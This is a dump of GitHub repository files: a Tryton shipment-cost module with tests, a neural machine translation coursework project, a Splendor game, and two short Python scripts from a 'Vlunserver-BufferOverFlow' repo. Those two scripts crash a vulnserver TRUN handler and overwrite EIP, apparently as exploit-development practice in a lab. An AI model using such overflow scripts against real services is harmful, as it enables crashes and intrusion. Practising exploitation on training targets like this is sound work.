self.uom,\n 'unit_price': shipment_cost,\n 'description': 'Shipping',\n 'product': self.shipping_product.id,\n 'shipment_cost': shipment_cost\n }])\n ]\n }])\n\n Sale.quote([sale])\n Sale.confirm([sale])\n Sale.process([sale])\n\n self.assertEqual(sale.state, 'processing')\n self.assertEqual(len(sale.invoices), 1)\n # Just the shipment cost\n invoice = sale.invoices[0]\n self.assertEqual(invoice.total_amount, Decimal('30'))\n\n shipment, = sale.shipments\n shipment.cost = Decimal(30)\n shipment.save()\n self.assertEqual(len(shipment.outgoing_moves), 2)\n\n ShipmentOut.assign([shipment])\n ShipmentOut.pack([shipment])\n ShipmentOut.done([shipment])\n\n self.assertEqual(len(sale.invoices), 2)\n for inv in sale.invoices:\n if inv.id == invoice.id:\n # Ignore previous invoice\n continue\n # Sale Amount\n self.assertEqual(inv.total_amount, Decimal('90'))\n break\n else:\n self.fail('No invoice for shipment')\n\n def test0050_shipment_cost_on_shipment(self):\n \"\"\"\n Check shipment cost method is shipment\n \"\"\"\n with Transaction().start(DB_NAME, USER, context=CONTEXT):\n Sale = POOL.get('sale.sale')\n ShipmentOut = POOL.get('stock.shipment.out')\n\n self.setup_defaults()\n with Transaction().set_context({'company': self.company.id}):\n shipment_cost = Decimal('30')\n sale, = Sale.create([{\n 'reference': 'Sale1',\n 'sale_date': date.today(),\n 'invoice_address': self.party1.addresses[0].id,\n 'shipment_address': self.party1.addresses[0].id,\n 'party': self.party1.id,\n 'carrier': self.carrier.id,\n 'invoice_method': 'shipment',\n 'shipment_method': 'order',\n 'shipment_cost_method': 'shipment',\n 'lines': [\n ('create', [{\n 'type': 'line',\n 'quantity': 5,\n 'unit': self.uom,\n 'unit_price': 10,\n 'description': 'Test description1',\n 'product': self.product1.id,\n }, {\n 'type': 'line',\n 'quantity': 2,\n 'unit': self.uom,\n 'unit_price': 20,\n 'description': 'Test description1',\n 'product': self.product2.id,\n }, {\n 'type': 'line',\n 'quantity': 1,\n 'unit': self.uom,\n 'unit_price': shipment_cost,\n 'description': 'Shipping',\n 'product': self.shipping_product.id,\n 'shipment_cost': shipment_cost\n }])\n ]\n }])\n\n Sale.quote([sale])\n Sale.confirm([sale])\n Sale.process([sale])\n\n self.assertEqual(sale.state, 'processing')\n self.assertEqual(len(sale.invoices), 0)\n\n shipment, = sale.shipments\n shipment.cost = Decimal(30)\n shipment.save()\n self.assertEqual(len(shipment.outgoing_moves), 2)\n\n ShipmentOut.assign([shipment])\n ShipmentOut.pack([shipment])\n ShipmentOut.done([shipment])\n\n self.assertEqual(len(sale.invoices), 1)\n # Just the shipment cost\n self.assertEqual(sale.invoices[0].total_amount, Decimal('120'))\n\n\ndef suite():\n \"\"\"\n Define suite\n \"\"\"\n test_suite = trytond.tests.test_tryton.suite()\n test_suite.addTests(\n unittest.TestLoader().loadTestsFromTestCase(TestShipmentCostCap)\n )\n return test_suite\n\nif __name__ == '__main__':\n unittest.TextTestRunner(verbosity=2).run(suite())\n" }, { "alpha_fraction": 0.5478680729866028, "alphanum_fraction": 0.5508849620819092, "avg_line_length": 33.05479431152344, "blob_id": "f05a967725a9ed23da4a175eff37a0ceac7bfe01", "content_id": "711e29e57417acc59a7912bb5c0093b6f329c12a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4972, "license_type": "no_license", "max_line_length": 77, "num_lines": 146, "path": "/sale.py", "repo_name": "openlabs/sale_shipment_cost_cap", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n sale_shipment_cost_cap.py\n\n :copyright: (c) 2014 by Openlabs Technologies & Consulting (P) Limited\n :license: BSD, see LICENSE for more details.\n\"\"\"\nfrom decimal import Decimal\n\nfrom trytond.pool import PoolMeta, Pool\nfrom trytond.transaction import Transaction\nfrom trytond.model import fields\nfrom trytond.pyson import Eval\n\n\n__all__ = ['Sale', 'Configuration']\n__metaclass__ = PoolMeta\n\n\nclass Configuration:\n __name__ = 'sale.configuration'\n\n @classmethod\n def __setup__(cls):\n super(Configuration, cls).__setup__()\n\n method = ('shipment_capped', 'On Shipment (capped to Order total)')\n\n if method not in cls.sale_shipment_cost_method.selection:\n cls.sale_shipment_cost_method.selection.append(method)\n\n\nclass Sale:\n __name__ = 'sale.sale'\n\n shipment_amount = fields.Function(\n fields.Numeric(\n 'Shipment Amount',\n digits=(16, Eval('currency_digits', 2)),\n depends=['currency_digits']\n ), 'get_shipment_amount'\n )\n shipment_amount_invoiced = fields.Function(\n fields.Numeric(\n 'Shipment Amount Invoiced',\n digits=(16, Eval('currency_digits', 2)),\n depends=['currency_digits']\n ), 'get_shipment_amount'\n )\n\n @classmethod\n def __setup__(cls):\n super(Sale, cls).__setup__()\n\n method = ('shipment_capped', 'On Shipment (capped to Order total)')\n\n if method not in cls.shipment_cost_method.selection:\n cls.shipment_cost_method.selection.append(method)\n\n def get_shipment_amount(self, name):\n \"\"\"\n Return function field values\n \"\"\"\n _zero = Decimal('0')\n\n if name == 'shipment_amount':\n return self.currency.round(\n sum(\n map(lambda line: line.shipment_cost or _zero, self.lines)\n )\n )\n if name == 'shipment_amount_invoiced':\n result = _zero\n for shipment in self.shipments:\n if not shipment.cost_invoice_line:\n continue\n result += shipment.cost_invoice_line.amount\n return self.currency.round(result)\n\n def _get_invoice_line_sale_line(self, invoice_type):\n \"\"\"\n Delete the invoice line that would be normally created for the sale\n if the shipment_cost_method is shipment_capped.\n\n This ensures that the shipment cost is added when the shipment is\n created and not when the invoice is processed.\n \"\"\"\n result = super(Sale, self)._get_invoice_line_sale_line(invoice_type)\n if self.shipment_cost_method == 'shipment_capped':\n for line in self.lines:\n if line.id in result and line.shipment_cost:\n del result[line.id]\n return result\n\n def create_invoice(self, invoice_type):\n \"\"\"\n Change invoice creation behavior to also create a shipment based\n invoice line if required.\n \"\"\"\n pool = Pool()\n Invoice = pool.get('account.invoice')\n Shipment = pool.get('stock.shipment.out')\n\n invoice = super(Sale, self).create_invoice(invoice_type)\n\n if (invoice\n and invoice_type == 'out_invoice'\n and self.shipment_cost_method == 'shipment_capped'):\n with Transaction().set_user(0, set_context=True):\n invoice = Invoice(invoice.id)\n for shipment in self.shipments:\n if (shipment.state == 'done'\n and shipment.carrier\n and shipment.cost\n and not shipment.cost_invoice_line):\n invoice_line = shipment.get_cost_invoice_line(invoice)\n if not invoice_line:\n continue # pragma: no cover\n\n # now check if the invoice line's amount crosses the\n # shipment charges remaining to be invoices\n shipment_amount_remaining = self.currency.round(max(\n Decimal('0'),\n self.shipment_amount - self.shipment_amount_invoiced\n ))\n if not shipment_amount_remaining:\n continue\n\n # Change unit price to the lower of the cost of\n # shipment or the amount remaining.\n invoice_line.unit_price = min(\n shipment_amount_remaining,\n invoice_line.unit_price\n )\n\n invoice_line.invoice = invoice\n invoice_line.save()\n\n Shipment.write([shipment], {\n 'cost_invoice_line': invoice_line.id,\n })\n\n with Transaction().set_user(0, set_context=True):\n Invoice.update_taxes([invoice])\n\n return invoice\n" }, { "alpha_fraction": 0.7441860437393188, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 91.14286041259766, "blob_id": "15fe0b98fd622d9102de0ee88b7fe57aa597b9f9", "content_id": "54e79683c2cb8c3996e086d5d26bfc93a6fdfc5b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 645, "license_type": "no_license", "max_line_length": 153, "num_lines": 7, "path": "/README.md", "repo_name": "openlabs/sale_shipment_cost_cap", "src_encoding": "UTF-8", "text": "sale_shipment_cost_cap\n=====================\n\n[![Build Status](https://travis-ci.org/openlabs/sale_shipment_cost_cap.svg?branch=develop)](https://travis-ci.org/openlabs/sale_shipment_cost_cap)\n[![Downloads](https://pypip.in/download/openlabs_sale_shipment_cost_cap/badge.svg)](https://pypi.python.org/pypi/openlabs_sale_shipment_cost_cap/)\n[![Latest Version](https://pypip.in/version/openlabs_sale_shipment_cost_cap/badge.svg)](https://pypi.python.org/pypi/openlabs_sale_shipment_cost_cap/)\n[![Development Status](https://pypip.in/status/openlabs_sale_shipment_cost_cap/badge.svg)](https://pypi.python.org/pypi/openlabs_sale_shipment_cost_cap/)\n" } ]
3
maxspero/dpp-nmt
https://github.com/maxspero/dpp-nmt
4e86cf5e6848045665b9e5b42d04c72e7aa7e436
8978b656ce372207661a0546dea1d20a9a434e55
d4ff0de9e92bd1f634ddd760f537f7862a971aa7
refs/heads/master
2020-04-26T15:39:08.626637
2019-03-17T09:12:11
2019-03-17T09:12:11
173,653,470
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8064516186714172, "alphanum_fraction": 0.8548387289047241, "avg_line_length": 62, "blob_id": "901b0dc9a2f73b8fd67db8fc0601f25d2598b193", "content_id": "6ae4401470a9c3d0bf9e431c721b247228aff82e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 62, "license_type": "no_license", "max_line_length": 62, "num_lines": 1, "path": "/a5/README.md", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "# cs224n-neural-machine-translation-with-char-decoding-pytorch" }, { "alpha_fraction": 0.5526620149612427, "alphanum_fraction": 0.5636574029922485, "avg_line_length": 28.758621215820312, "blob_id": "2c77ee8f94bb63770a36589755359edc1681b779", "content_id": "f57153c208bde069e458a3f39ff4f03746fb0e7d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1728, "license_type": "no_license", "max_line_length": 90, "num_lines": 58, "path": "/a5/cnn.py", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCS224N 2018-19: Homework 5\n\"\"\"\n\n### YOUR CODE HERE for part 1i\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CNN(nn.Module):\n \"\"\" Implementation of 1-dimensional CNN for character-based encoding\n \"\"\"\n def __init__(self, in_channels, num_filters, kernel_size):\n \"\"\" Init CNN Layer.\n\n @param in_channels (int): Number of output channels.\n This should be e_{char}.\n @param num_filters (int): Number of output channels.\n This should be e_{word}.\n @param kernel_size (int): Number of elements in the conv window at any given time.\n This should be 5.\n \"\"\"\n super(CNN, self).__init__()\n\n self.in_channels = in_channels\n self.num_filters = num_filters\n self.kernel_size = kernel_size\n\n self.conv1d = nn.Conv1d(in_channels, num_filters, kernel_size)\n\n def forward(self, x):\n \"\"\" Take a mini-batch of tensors and run it through the highway layer.\n\n @param x (Tensor): input tensor of shape (batch_size, in_channels, m_word) \n @returns x_conv_out (Tensor): output tensor of shape (batch_size, num_filters)\n \"\"\"\n x_conv = self.conv1d(x)\n x_conv_relu = F.relu(x_conv)\n x_conv_out, max_indices = torch.max(x_conv_relu, 2)\n \n \"\"\" manual verification\n print(x)\n print(x_conv)\n print(x_conv_relu)\n print(x_conv_out)\n\n print(x.shape)\n print(x_conv.shape)\n print(x_conv_relu.shape)\n print(x_conv_out.shape)\n \"\"\"\n return x_conv_out\n\n### END YOUR CODE \n\n" }, { "alpha_fraction": 0.6635900139808655, "alphanum_fraction": 0.6754918694496155, "avg_line_length": 56.98591613769531, "blob_id": "f81b7c193914474fa114ce8b1720b77048ffae66", "content_id": "0593b424b95274a9931931a2ede631d77a84698b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4117, "license_type": "no_license", "max_line_length": 141, "num_lines": 71, "path": "/a5/run.sh", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nif [ \"$1\" = \"train\" ]; then\n\tCUDA_VISIBLE_DEVICES=0 python run.py train --train-src=./en_es_data/train.es --train-tgt=./en_es_data/train.en \\\n --dev-src=./en_es_data/dev.es --dev-tgt=./en_es_data/dev.en --vocab=vocab.json --cuda\nelif [ \"$1\" = \"test_topk\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_topk.txt\n CUDA_VISIBLE_DEVICES=0 python run.py decode model.bin ./en_es_data/test.es ./en_es_data/test.en outputs/test_outputs_topk.txt --cuda\nelif [ \"$1\" = \"test_dpp\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_dpp.txt\n CUDA_VISIBLE_DEVICES=0 python run.py decode model.bin ./en_es_data/test.es ./en_es_data/test.en outputs/test_outputs_dpp.txt --cuda --dpp\nelif [ \"$1\" = \"test_topk_local\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_topk.txt\n python run.py decode model.bin ./en_es_data/test.es ./en_es_data/test.en outputs/test_outputs_topk.txt\nelif [ \"$1\" = \"test_topk_local_small\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_topk_small.txt\n python run.py decode model.bin ./en_es_data/test_small.es ./en_es_data/test_small.en outputs/test_outputs_topk_small.txt\nelif [ \"$1\" = \"test_topk_local_medium\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_topk_medium.txt\n python run.py decode model.bin ./en_es_data/test_medium.es ./en_es_data/test_medium.en outputs/test_outputs_topk_medium.txt\nelif [ \"$1\" = \"test_topk_local_tiny\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_topk.txt\n python run.py decode model.bin ./en_es_data/test_tiny.es ./en_es_data/test_tiny.en outputs/test_outputs_topk_tiny.txt\nelif [ \"$1\" = \"test_dpp_local\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_dpp.txt\n python run.py decode model.bin ./en_es_data/test.es ./en_es_data/test.en outputs/test_outputs_dpp.txt --dpp\nelif [ \"$1\" = \"test_dpp_local_small\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_dpp_small.txt\n python run.py decode model.bin ./en_es_data/test_small.es ./en_es_data/test_small.en outputs/test_outputs_dpp_small.txt --dpp\nelif [ \"$1\" = \"test_dpp_local_medium\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_dpp_medium.txt\n python run.py decode model.bin ./en_es_data/test_medium.es ./en_es_data/test_medium.en outputs/test_outputs_dpp_medium.txt --dpp\nelif [ \"$1\" = \"test_dpp_local_tiny\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_dpp_tiny.txt\n python run.py decode model.bin ./en_es_data/test_tiny.es ./en_es_data/test_tiny.en outputs/test_outputs_dpp_tiny.txt --dpp\nelif [ \"$1\" = \"train_local_q1\" ]; then\n\tpython run.py train --train-src=./en_es_data/train_tiny.es --train-tgt=./en_es_data/train_tiny.en \\\n --dev-src=./en_es_data/dev_tiny.es --dev-tgt=./en_es_data/dev_tiny.en --vocab=vocab_tiny_q1.json --batch-size=2 \\\n --valid-niter=100 --max-epoch=101 --no-char-decoder\nelif [ \"$1\" = \"test_local_q1\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_local_q1.txt\n python run.py decode model.bin ./en_es_data/test_tiny.es ./en_es_data/test_tiny.en outputs/test_outputs_local_q1.txt \\\n --no-char-decoder\nelif [ \"$1\" = \"train_local_q2\" ]; then\n\tpython run.py train --train-src=./en_es_data/train_tiny.es --train-tgt=./en_es_data/train_tiny.en \\\n --dev-src=./en_es_data/dev_tiny.es --dev-tgt=./en_es_data/dev_tiny.en --vocab=vocab_tiny_q2.json --batch-size=2 \\\n --max-epoch=201 --valid-niter=100\nelif [ \"$1\" = \"test_local_q2\" ]; then\n mkdir -p outputs\n touch outputs/test_outputs_local_q2.txt\n python run.py decode model.bin ./en_es_data/test_tiny.es ./en_es_data/test_tiny.en outputs/test_outputs_local_q2.txt \nelif [ \"$1\" = \"vocab\" ]; then\n python vocab.py --train-src=./en_es_data/train_tiny.es --train-tgt=./en_es_data/train_tiny.en \\\n --size=200 --freq-cutoff=1 vocab_tiny_q1.json\n python vocab.py --train-src=./en_es_data/train_tiny.es --train-tgt=./en_es_data/train_tiny.en \\\n vocab_tiny_q2.json\n\tpython vocab.py --train-src=./en_es_data/train.es --train-tgt=./en_es_data/train.en vocab.json\nelse\n\techo \"Invalid Option Selected\"\nfi\n" }, { "alpha_fraction": 0.604347825050354, "alphanum_fraction": 0.647826075553894, "avg_line_length": 13.375, "blob_id": "f404fff1044ddae6350e2cd62edc7ceb0bbfefea", "content_id": "38c02b6bf31b0c27ca90a2974e2ae1763d58a074", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 53, "num_lines": 16, "path": "/a5/test_cnn.py", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "import torch \n\nfrom cnn import CNN \n\nbatch_size = 13 \ne_char = 50\ne_word = 290\nm_word = 35\nkernel_size = 5\n\nx_reshaped = torch.ones((batch_size, e_char, m_word))\n\nc = CNN(e_char, e_word, kernel_size)\np = c(x_reshaped) \n\nprint(p)\n" }, { "alpha_fraction": 0.5988505482673645, "alphanum_fraction": 0.6133333444595337, "avg_line_length": 33.25196838378906, "blob_id": "96892d633f823efb7f88dda6f9d71c85cb5502da", "content_id": "97043b2cfd6822cc795adc7e21f00e45473001e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4350, "license_type": "no_license", "max_line_length": 164, "num_lines": 127, "path": "/a5/run_comparison.py", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCS224N 2018-19: Homework 5\nrun.py: Run Script for Simple NMT Model\nPencheng Yin <[email protected]>\nSahil Chopra <[email protected]>\n\nUsage:\n run_comparison.py MODEL_PATH TEST_SOURCE_FILE \n run_comparison.py MODEL_PATH TEST_SOURCE_FILE TEST_TARGET_FILE \n run_comparison.py MODEL_PATH TEST_SOURCE_FILE TEST_TARGET_FILE INDEX\n\nOptions:\n --seed=<int> seed [default: 0]\n --beam_size=<int> beam size [default: 5]\n --max-decoding-time-step=<int> max decoding time step [default: 70]\n\"\"\"\nimport math\nimport sys\nimport pickle\nimport time\n\n\nfrom docopt import docopt\nfrom nltk.translate.bleu_score import corpus_bleu, sentence_bleu, SmoothingFunction\nfrom nmt_model import Hypothesis, NMT\nfrom nmt_model_dpp import DPPNMT\nimport numpy as np\nfrom typing import List, Tuple, Dict, Set, Union\nfrom tqdm import tqdm\nfrom utils import read_corpus, batch_iter\nfrom vocab import Vocab, VocabEntry\n\nimport torch\nimport torch.nn.utils\n\ndef decode(args: Dict[str, str]):\n \"\"\" Performs decoding on a test set, and save the best-scoring decoding results.\n If the target gold-standard sentences are given, the function also computes\n corpus-level BLEU score.\n @param args (Dict): args from cmd line\n \"\"\"\n\n print(\"load test source sentences from [{}]\".format(args['TEST_SOURCE_FILE']), file=sys.stderr)\n test_data_src = read_corpus(args['TEST_SOURCE_FILE'], source='src')\n if args['TEST_TARGET_FILE']:\n print(\"load test target sentences from [{}]\".format(args['TEST_TARGET_FILE']), file=sys.stderr)\n test_data_tgt = read_corpus(args['TEST_TARGET_FILE'], source='tgt')\n\n print(\"load model from {}\".format(args['MODEL_PATH']), file=sys.stderr)\n model1 = NMT.load(args['MODEL_PATH'])\n model2 = DPPNMT.load(args['MODEL_PATH'])\n\n if args['INDEX']:\n index = int(args['INDEX'])\n beam_search2(\n model1, \n model2,\n [test_data_src[index]],\n 5,\n 70,\n [test_data_tgt[index]],\n )\n else:\n beam_search2(\n model1, \n model2,\n test_data_src,\n #int(args['--beam-size']),\n 5,\n #int(args['--max-decoding-time-step']), \n 70,\n test_data_tgt,\n )\n\n\ndef beam_search2(model1: NMT, model2: DPPNMT, test_data_src: List[List[str]], beam_size: int, max_decoding_time_step: int, test_data_tgt) -> List[List[Hypothesis]]:\n \"\"\" Run beam search to construct hypotheses for a list of src-language sentences.\n @param model (NMT): NMT Model\n @param test_data_src (List[List[str]]): List of sentences (words) in source language, from test set.\n @param beam_size (int): beam_size (# of hypotheses to hold for a translation at every step)\n @param max_decoding_time_step (int): maximum sentence length that Beam search can produce\n @returns hypotheses (List[List[Hypothesis]]): List of Hypothesis translations for every source sentence.\n \"\"\"\n model1.eval()\n model2.eval()\n\n\n i = 0\n with torch.no_grad():\n for src_sent in tqdm(test_data_src, desc='Decoding', file=sys.stdout):\n hyp1 = model1.beam_search(src_sent, beam_size=beam_size, max_decoding_time_step=max_decoding_time_step)\n hyp2 = model2.beam_search(src_sent, beam_size=beam_size, max_decoding_time_step=max_decoding_time_step)\n ref = test_data_tgt[i][1:-1]\n #print(ref, hyp1[0].value)\n bleu_topk = sentence_bleu(ref, hyp1[0].value)\n bleu_dpp = sentence_bleu(test_data_tgt[i], hyp2[0].value)\n #print(bleu_topk, bleu_dpp)\n if bleu_dpp > bleu_topk:\n print(i)\n print(\" \".join(hyp1[0].value))\n print(\" \".join(hyp2[0].value))\n print(\" \".join(ref))\n i += 1\n\n\n\ndef main():\n \"\"\" Main func.\n \"\"\"\n args = docopt(__doc__)\n\n # Check pytorch version\n assert(torch.__version__ == \"1.0.0\"), \"Please update your installation of PyTorch. You have {} and you should have version 1.0.0\".format(torch.__version__)\n\n # seed the random number generators\n #seed = int(args['--seed'])\n seed = int(0)\n torch.manual_seed(seed)\n np.random.seed(seed * 13 // 7)\n decode(args)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.616216242313385, "alphanum_fraction": 0.6756756901741028, "avg_line_length": 29.83333396911621, "blob_id": "eda9e22a7171fdf8820746d24f3aba4266098053", "content_id": "a1aec8b6b9d90994e249735e9311e111dde57c8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 185, "license_type": "no_license", "max_line_length": 134, "num_lines": 6, "path": "/a5/beam_tests_sampling.sh", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfor k in 1 2 3 4 5 10 20 50\ndo \n python run.py decode model.bin ./en_es_data/test.es ./en_es_data/test.en outputs/test_outputs_dpp-$k.txt --sampling --beam-size $k\ndone\n" }, { "alpha_fraction": 0.6410256624221802, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 12, "blob_id": "961d2ac2520af34b187e8a90d6f7268cd2679051", "content_id": "637c46766febabf515025677a5374daea3660af1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "no_license", "max_line_length": 36, "num_lines": 12, "path": "/a5/test_highway.py", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "import torch \n\nfrom highway import Highway\n\nbatch_size = 3\ne_word = 5\n\nx = torch.ones((batch_size, e_word))\n\nh = Highway(e_word, e_word)\np = h(x) \nprint(p)\n" }, { "alpha_fraction": 0.7846153974533081, "alphanum_fraction": 0.7846153974533081, "avg_line_length": 64, "blob_id": "d480552c861179cb3b1d8ffbad6b45a098b2f358", "content_id": "52c5edbcf17f9a7aba8b24c34ebe910e15836bee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 195, "license_type": "no_license", "max_line_length": 92, "num_lines": 3, "path": "/a5/en_es_data/test_tiny.es", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "Y siempre le digo a la gente que no quiero parecer como un cientfico.\nPuedo vestirme como agricultor, o con ropa de cuero, y nunca nadie ha elegido un agricultor.\nEsa es la pintura de un crculo.\n" }, { "alpha_fraction": 0.5822192430496216, "alphanum_fraction": 0.5915775299072266, "avg_line_length": 27.188678741455078, "blob_id": "5839d3b28ad41ba51e8f6c83bf831554b31fc402", "content_id": "abd486f6538a11726cb9340a29ddf5e56d2590f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1496, "license_type": "no_license", "max_line_length": 93, "num_lines": 53, "path": "/a5/highway.py", "repo_name": "maxspero/dpp-nmt", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCS224N 2018-19: Homework 5\n\"\"\"\n\n### YOUR CODE HERE for part 1h\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Highway(nn.Module):\n \"\"\" Highway layer implementation\n \"\"\"\n def __init__(self, input_size, output_size):\n \"\"\" Init Highway layer.\n\n @param input_size (int): Input tensor size (dimensionality). This should be e_{word}.\n @param output_size (int): Output Size (dimensionality). This should also be e_{word}.\n \"\"\"\n super(Highway, self).__init__()\n\n self.input_size = input_size\n self.output_size = output_size\n\n self.x_proj_layer = nn.Linear(input_size, output_size, bias=True)\n self.x_gate_layer = nn.Linear(input_size, output_size, bias=True)\n\n def forward(self, x):\n \"\"\" Take a mini-batch of tensors and run it through the highway layer.\n\n @param x (Tensor): input tensor of shape (batch_size, input_size) \n @returns x_highway (Tensor): output tensor of shape (batch_size, output_size)\n \"\"\"\n x_proj = F.relu(self.x_proj_layer(x))\n x_gate = torch.sigmoid(self.x_gate_layer(x))\n x_highway = (x_gate * x_proj) + ((1-x_gate) * x)\n \n \"\"\" manual verification\n\n print(x_proj.shape)\n print(x_gate.shape)\n print(x_highway.shape)\n\n print(x_proj)\n print(x_gate)\n print(x_highway)\n \"\"\"\n\n return x_highway\n\n### END YOUR CODE \n\n" } ]
9
atomicconstant/Vlunserver-BufferOverFlow
https://github.com/atomicconstant/Vlunserver-BufferOverFlow
7986eee9ec64b72ba7df80f3af4f706636f205a1
1d3be324e8a92894f6ed68af499d54d8c275211c
6bd275ad3a4616da4a4a4550c948c34301802298
refs/heads/master
2022-12-13T05:24:19.231947
2020-08-21T10:17:48
2020-08-21T10:17:48
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5368421077728271, "alphanum_fraction": 0.6473684310913086, "avg_line_length": 11.666666984558105, "blob_id": "994d4725c4e6c6912c92a460e475380cb0cb66bd", "content_id": "6dcef4623dd124c5c577fdbf5690e6e75afdcc02", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 190, "license_type": "no_license", "max_line_length": 50, "num_lines": 15, "path": "/crash_vpn.py", "repo_name": "atomicconstant/Vlunserver-BufferOverFlow", "src_encoding": "UTF-8", "text": "import sys, socket\n\nbuff = \"TRUN /.:/\"\n\nbuff += \"A\" * 3000\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ns.connect(('10.10.95.141',9000))\n\nprint s.recv(1024)\n\ns.send(buff)\n\ns.close()\n" }, { "alpha_fraction": 0.5458333492279053, "alphanum_fraction": 0.625, "avg_line_length": 10.949999809265137, "blob_id": "a672cfd8e911c97f464a246084f6a86878b8f896", "content_id": "be083737b58d16037931213c71012178d034ba3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 53, "num_lines": 20, "path": "/controlling_EIP.py", "repo_name": "atomicconstant/Vlunserver-BufferOverFlow", "src_encoding": "UTF-8", "text": "import socket\nimport sys\n\nbuff = \"TRUN /.:/\"\n\nbuff += \"A\" * 2003 \n\nbuff += \"BBBB\"\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n\ts.connect(('10.0.0.25', 9999))\n\nexcept:\n\tprint \"Error\"\n\tsys.exit(0)\n\ns.recv(1024)\ns.send(buff)\n\n" } ]
2
sbulat/Splendor
https://github.com/sbulat/Splendor
2261e95782ee358a9cab8054c083a7d7b967ceef
d069d1b6eec30d5a4231269a594933674ac26d0d
b4d4478c1160f2cd3b05f649e7245b3023ffee71
refs/heads/master
2021-01-10T04:02:40.108367
2016-01-15T17:00:33
2016-01-15T17:00:33
49,238,195
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6673213839530945, "alphanum_fraction": 0.686962902545929, "avg_line_length": 28.737226486206055, "blob_id": "8bedbf3e5523f1a56c1fb369b90c3b0c3543e0e8", "content_id": "cf41cfa97b42989578176ce95a78f5ab8cd53e85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4089, "license_type": "no_license", "max_line_length": 115, "num_lines": 137, "path": "/Game.py", "repo_name": "sbulat/Splendor", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom Globals import Glob\nfrom Player import *\nfrom Card import *\n\nimport tkMessageBox\n\nclass Game(object):\n\tdef __init__(self):\n\t\tself.firstLev = [Glob.firstLevCards.pop() for i in range(4)]\n\t\tself.secLev = [Glob.secLevCards.pop() for i in range(4)]\n\t\tself.thirdLev = [Glob.thirdLevCards.pop() for i in range(4)]\n\n\t\tself.players = [Player(), Player()]\n\t\tself.actualPlayer = self.players[0]\n\t\tself.textId = Glob.canvas.create_text(Glob.WINDOW_X-5, 15, anchor='e', text='Player #'+str(self.actualPlayer.id))\n\t\tself.playerIter = self.player_iterator(0)\n\t\tself.nextTurn = self.make_button()\n\n\tdef __getitem__(self):\n\t\treturn self.firstLev + self.secLev + self.thirdLev\n\n\t# tworzenie przycisku do kończenia tury\n\tdef make_button(self):\n\t\t\tb = Button(Glob.root, text='End Turn', command=self.change_player, state='disabled')\n\t\t\tb.pack()\n\t\t\tb.place(x=500, y=650)\n\t\t\treturn b\n\n\t# rozkładane są 4 karty z każdego stosu - przygotowanie gry\n\tdef deal_cards(self):\n\t\tx = 150\n\t\ty1 = 350\n\t\ty2 = 200\n\t\ty3 = 50\n\t\tfor i in range(4):\n\t\t\ttmp = self.firstLev[i]\n\t\t\tGlob.canvas.move(tmp.tag, x-tmp.a[0], y1-tmp.a[1])\n\t\t\ttmp.__setitem__(x, y1)\n\n\t\t\ttmp = self.secLev[i]\n\t\t\tGlob.canvas.move(tmp.tag, x-tmp.a[0], y2-tmp.a[1])\n\t\t\ttmp.__setitem__(x, y2)\n\n\t\t\ttmp = self.thirdLev[i]\n\t\t\tGlob.canvas.move(tmp.tag, x-tmp.a[0], y3-tmp.a[1])\n\t\t\ttmp.__setitem__(x, y3)\n\n\t\t\tx+=90\n\n\t# gdy któraś z kart 